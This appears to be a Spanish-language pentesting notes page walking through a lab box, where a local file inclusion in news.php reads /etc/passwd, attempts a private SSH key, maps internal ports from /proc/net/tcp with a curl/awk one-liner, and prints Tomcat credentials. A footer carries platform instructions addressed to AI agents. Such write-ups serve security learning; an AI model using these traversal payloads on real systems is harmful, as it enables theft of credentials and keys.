> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# Credenciales de Tomcat mediante LFI

## LFI:

Acceso al archivo vulnerable `new.php` a través de una variable `?file` en la carpeta `sentencia`.

<figure><img src="/files/92b58156f7b75b5fbeddddea33407963864054e5" alt=""><figcaption></figcaption></figure>

**Prueba de inclusión local de archivos (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/dadd1f6aa288c5c6cb79d89b864b2e9c85a22006" alt=""><figcaption></figcaption></figure>

* **Resultado:** Acceso al archivo `/etc/passwd`, revelando dos usuarios: `ash` y `root`. **Intento de acceder a la clave SSH privada de Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Resultado:** Acceso denegado.

<figure><img src="/files/43d8969e85278f9641d917066154c2487ec94171" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** vía `/proc/net/tcp` para identificar servicios ocultos:

<figure><img src="/files/32f04f4f92f205d1c9a80495d1a78523854f74f1" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** vía `/proc/net/tcp` para identificar servicios ocultos:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Tomar el campo local_address
    split($2, addr_port, ":");
    # Convertir la dirección al formato IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Convertir el puerto a decimal
    port = strtonum("0x" addr_port[2]);
    # Imprimir el resultado en formato IP:Puerto
    printf "%s:%d/n", ip, port;
}'

```

**Resultado:** Descubrimiento del puerto interno `34650`

<figure><img src="/files/7626d998fac1bf60dd6a1adaeb4b1b2b800e3fb4" alt="" width="563"><figcaption></figcaption></figure>

### **Explotación del Gestor de Hosts Virtuales de Tomcat (Puerto 8080)**

**Acceso a Tomcat** a través del puerto 8080 y búsqueda de información de autenticación. Por defecto, esto se almacena en `/etc/tomcat9/tomcat-users.xml` o `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/ae98ce1e93245e4ec92c3b3f88adfaa04e8f2281" alt=""><figcaption></figcaption></figure>

**Credenciales** encontrados: `username = tomcat` `password = $3cureP4s5w0rd123!`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
